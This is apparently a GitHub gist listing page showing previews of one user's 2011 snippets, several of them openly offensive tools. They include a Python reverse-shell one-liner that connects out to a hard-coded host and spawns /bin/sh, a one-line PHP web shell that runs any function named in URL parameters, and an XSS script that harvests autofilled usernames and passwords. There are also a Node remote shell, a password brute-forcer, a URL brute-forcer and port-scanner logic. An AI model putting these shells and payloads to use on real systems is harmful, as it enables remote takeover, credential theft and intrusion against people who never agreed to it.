Skip to content

Instantly share code, notes, and snippets.

@btoews
btoews / brute.c
Created September 8, 2011 21:45
Supergenpass Bruteforcer in C
#include <math.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include "global.h"
#include "md5.h"
static char encoding_table[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
@btoews
btoews / pretty_htmlizer.py
Created September 27, 2011 16:42
prettyHTMLizer
from HTMLParser import HTMLParser
PRETTY_LINE_WIDTH = 120
LINEBREAK_PREFERENCE = "unix" #unix(\n) or win(\r\n)
LINEBREAK = ["\r\n","\n"][LINEBREAK_PREFERENCE == "unix"] #set LINEBREAK based on LINEBREAK_PREFERENCE
#DECORATORS
def format(fn):
def replace(*args,**kwargs):
pass_args = []
@btoews
btoews / basic-node-shell.js
Created October 13, 2011 03:36
node remote shell
//Minimalistic remote shell over tcp using nodejs
//This doesn't work. I think it should...
//Additionally, this isn't nearly as cool
//as the next file because it gives you no
//ability to modify/inspect shell input/output
var spawn = require('child_process').spawn;
var net = require('net');
@btoews
btoews / radix.coffee
Created October 17, 2011 04:27
Radix Conversion Nodejs Port
#RE: https://gist.github.com/1291580
output = []
convert_base = (input,input_len,input_base,output_len,output_base) ->
output[i] = 0 for i in [0...output_len]
for i in [0...input_len]
n = input[i]
o=0
for j in [(output_len-1)..0]
m = (output[j]*input_base)+o
output[j] = m % output_base
@btoews
btoews / portscanner.py
Created October 28, 2011 04:46
Portscanner
import argparse
import random
#Default source ports
default_sport = [80,443,123]
#Default source addresses
default_saddr = ["192.168.1.1"]
def parse_list(string):
@btoews
btoews / portscanner.py
Created October 28, 2011 04:49
portscanner
#Python logic for portscanner. Just plug in a wee bit of scapy and it should work like a charm.
#I golfed down some of the CIDER stuff, but it could use more.
#(c)mastahyeti
import argparse
import random
default_sport = [80,443,123]
default_saddr = ["192.168.1.1"]
def parse_list(string):
@btoews
btoews / pwxss.html
Created December 22, 2011 22:34
Password Autocomplete XSS
<script>
function attack()
{
var username = document.forms['foo']['username'].value;
var password = document.forms['foo']['password'].value;
document.forms['foo']['password'].onchange="";
document.forms['foo'].style.visibility = 'hidden';
var request;
if (window.XMLHttpRequest)
{
@btoews
btoews / url-brute.py
Created December 28, 2011 02:40
Multi-Threaded URL Brute-Forcer
GOODS = []
URL = ["http://www.xxxxxxxxx.com/img/testimonials/1122052/13",".jpg"]
START = 21455795
THREADS = 50
DIE = False
class MyQueue(Queue):
def __init__(self,*argv):
self.num = START
@btoews
btoews / mps.py
Created December 28, 2011 03:16
Mini Python Shell
exec("import socket,subprocess\nHOST = '1.1.1.1'\nPORT = 80\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((HOST, PORT))\nf = s.fileno()\nsubprocess.Popen('/bin/sh',stdin=f,stdout=f,stderr=f)")
#(c) mastahyeti
#mini python shell
#import socket,subprocess
#HOST = '127.0.0.1'
#PORT = 80
#s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect((HOST, PORT))
#f = s.fileno()
@btoews
btoews / mps.php
Created December 28, 2011 03:19
Mini PHP Shell
//(c) mastahyeti
//mini php shell
//usage: http://example.com?1=function_name&2=function_arguments
//example: http://example.com?1=passthru&2=ls
<? $_GET[1]($_GET[2]) ?>